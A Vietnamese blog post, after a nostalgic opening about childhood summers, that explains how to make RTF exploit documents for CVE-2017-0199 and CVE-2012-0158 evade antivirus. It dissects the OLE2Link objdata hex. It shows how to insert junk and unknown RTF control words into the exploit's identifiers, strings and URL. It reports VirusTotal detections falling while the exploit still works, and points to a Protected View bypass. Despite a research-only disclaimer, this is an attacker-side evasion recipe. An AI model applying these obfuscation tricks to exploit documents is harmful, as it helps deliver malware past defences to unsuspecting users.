Bypass antivirus with simple RTF tricks.

Chiều nay, một chiều mùa hè đấy nắng và ít gió. Miền bắc những ngày tháng 6 nóng kinh khủng khiến tôi lại nhớ về những mùa hè ngày xưa. Khi tôi còn nhỏ, mùa hè là quãng thời gian nghỉ ngơi trước và sau một năm học, tôi vẫn thường một mình lang thang khắp các con đường làng, dạo chơi trên cánh đồng đầy lúa chín.

Tuổi thơ tôi gắn liền với cánh đồng với con đê và dòng sông. Những ngày đi làm đồng vất vả, đi chăn bò đến tối mịt mới về, những ngày đi mò hến câu cá và bắt cua, để rồi tối về lại cùng bạn tắm sông, đi chơi và hóng gió.

Trong những giấc mơ, đôi khi tôi mơ thấy mùa hè và tôi khát khao sẽ có ngày trở lại, để lại được vô tư hồn nhiên, lại được sống như mình vẫn sống. Thế nhưng ngày hôm nay nắng cứ mãi chói chang trên con đường tôi đi.

Lúa.jpg

Lan man thế đủ rồi, tôi vào vấn đề luôn: bypass antivirus với RTF. Bài viết này dành cho bạn nào đã biết RTF (chưa biết thì có thể đọc ở đây), đã biết một số lỗi kiểu như CVE-2012-0158, CVE-2017-0199 (chưa biết thì có thể đọc ở đây cũng được) nhưng chưa biết cách để vượt qua phần mềm diệt virus như thế nào. Lưu ý rằng bài viết chỉ nhằm mục đích nghiên cứu, nếu bạn dùng kiến thức ở đây để làm việc xấu, bạn sẽ phải tự chịu trách nhiệm.

Thông thường khi người ta muốn bypass antivirus với các file document như doc, docx, pdf,… sẽ có một số hướng tiếp cận như sau:

  1. Làm cho antivirus không thể đọc được file format nhưng phần mềm mở file đó vẫn đọc được. Vì sao ư? vì antivirus không thể xử lý như Office hay Adobe được. Nó chỉ có một parser đơn giản thôi, không thể xử lý được toàn bộ file format, cũng như các exception trong quá trình xử lý file format.
  2. Làm rối để cho antivirus so sánh signature không còn đúng nữa.

Lưu ý rằng việc bypass phụ thuộc vào lỗi, file format gây lỗi. Đôi lúc mọi thứ hoàn hảo, đôi lúc không. Bài viết này tập trung vào file RTF bởi có một số lỗi điển hình liên quan đến nó và đặc biệt là bởi cấu trúc của nó rất phức tạp cũng như cấu trúc ấy cho phép sử dụng các thủ thuật bypass antivirus dễ dàng.

Fireeye có một bài viết về vấn đề này: https://www.fireeye.com/blog/threat-research/2016/05/how_rtf_malware_evad.html tuy nhiên mấy cái được chỉ ra ở đây khá cũ rồi.

CVE-2017-0199

Đây là một lỗi mới, một lỗi logic trong qua trình xử lý OLELink của Office, cho phép thực thi code từ xa. File tấn công sẽ có một object olelink chứa 1 url.

Capture.PNG

Phần {\object\objautlink\objupdate\rsltpict\objw291\objh230\objscalex99\objscaley101
{\*\objclass Word.Document.8}

Chỉ định rằng phần sau đó là một object OLELink. Phần {\*\objdata chứa hexdata của object.

Phần hexdata có cấu trúc như sau:

01050000 # Program ID, hiểu đơn giản nó là cái ID

02000000 # Format ID
09000000 # Kích thước của String đằng sau tính cả null byte

4f4c45324c696e6b00 # là xâu ‘OLE2Link’

0000000000000000 # Đéo biết là gì luôn

000a0000 # Kích thước của package đằng sau

Phần package đằng chính là định dạng OLE: d0cf11e (là docfile dấy hihi) bản chất nó là file system ảo, cho phép lưu trữ thư mục cũng như file ở bên trong, như vậy url sẽ được lưu trong package này: 68007400740070003a002f002f003100320037002e0030002e chính là xâu http://127.0.0.1

Thử quét virustotal với file trên:

Capture.PNG

 

27/56 này thì không được đâu.

Thử một số thủ thuật chèn một key word vô nghĩa vào đoạn hex trên xem sao:

01{\b0}05000002000000
0{\b0}90000004f4c45324{\b0}c696e6b
0000000000000000
00000a0000
d{\b0}0cf11e0a1b11ae1

Và:

68{\b0}007400740070003a002f002f0

Mục đích là che dấu cấu trúc và url để antivirus nếu ngu thì sẽ không hiểu, còn khi Word xử lý {\b0} nó bỏ qua thôi vì nó là thẻ in đậm chữ. Kết quả:

Capture.PNG

19/56 chưa ổn lắm. Mẹo này cũng giống như mẹo sử dụng keyword linh tinh, khi sử dụng key word tự nghĩ ra cần thềm \* để Word bỏ qua. Mục đích vẫn là đánh lừa một số antivirus quét theo kiểu so sánh xâu. Ví dụ thay {\b0} bằng {\*\ahihidongoc}. Word khi không hiểu keyword ahihidongoc thì nó bỏ qua thôi vì có \* đằng sau, đấy là tính năng luôn.

Cách trên vẫn chưa đủ để qua mặt hầu hết antivirus. Thật tình cờ trong quá trình nghiên cứu tôi phát hiện ra một điều, Word xử lý được một số trường hợp lỗi kiểu như này:

Thay ID: 0105000002000000 sang cái khác cũng được
Thay string trong: 090000004f4c45324c696e6b sang 09000000AAAAAAAAAAAAA cũng được, word vẫn hiểu đấy là OLELink (đéo hiểu luôn?)

Phát hiện thứ 2: Khi sử dụng keyword mà Word không biết, Word vẫn không văng ra exception mà chỉ đơn giản là bỏ qua mà không cần đến \*. Ví dụ: \hihihi0000000000000000000000000000000000001

Word vẫn đọc như một keyword bình thường cho đến khi gặp dấu cách, xuống dòng, hoặc quá giới hạn của số đằng sau keyword, giới hạn ở đây là 247 số.

Dựa trên 2 phát hiện trên tôi tiến hành sửa file rtf như sau:

  • Thêm một keyword láo vào sau objdata:\ahihi0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111
  • Sửa Program ID: 0105000002000000 -> 0115000002000000 (sửa bừa đấy)
  • Sửa string của program id: thành AAAAAAAAAAAAAAAA
  • thêm keyword {\*\ahihidongoc} vào giữa url

Kết quả:

Capture.PNG

Và file vẫn chạy như bình thường.

CVE-2012-0158

Cái này cách xử lý tương tự như lỗi trên, chú ý rằng cần thêm các keyword láo vào chỗ có shellcode, chỗ có string có thể nhận diện đây là CVE-2012-0158 ví dụ như ListView, Cobj,…

Ví dụ đây:

{\*\objdata\slmulx20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111114000002000000
1C000000
\dddddd20000000000000000
AAAAAAAAAAA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB
000000000000000000000E0000
D0
\dddddd2

Tôi thêm nhưng keyword láo vào những chỗ đặc biệt, như id, string, signature của cấu trúc objdata, OLE.

Kết quả:

Capture.PNG

Nhận xét:

  • Sử dụng 2 thủ thuật trên dễ dàng bypass antivirus hơn là những cách mà tôi đã từng thấy

Protected View

Trên office 2010 trở đi khi mở file được tải từ internet, Word sẽ mặc định bật chế độ Protected View khiến những lỗi kiểu như trên không hoạt động được mà phải chờ người dùng enable editing:

Capture

Khá khó chịu, nhưng tôi thấy có một lỗi ở đây https://securingtomorrow.mcafee.com/mcafee-labs/patch-now-simple-office-protected-view-bypass-could-have-big-impact/ cho phép sử dụng file .xla để nhúng link cũng như object mà không bị Protected View như các định dạng khác. Hơn thế nữa sử dụng file .xla còn qua mặt được rất nhiều antivirus bởi không mấy antivirus xử lý loại file này.

 

 

Advertisements

One thought on “Bypass antivirus with simple RTF tricks.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s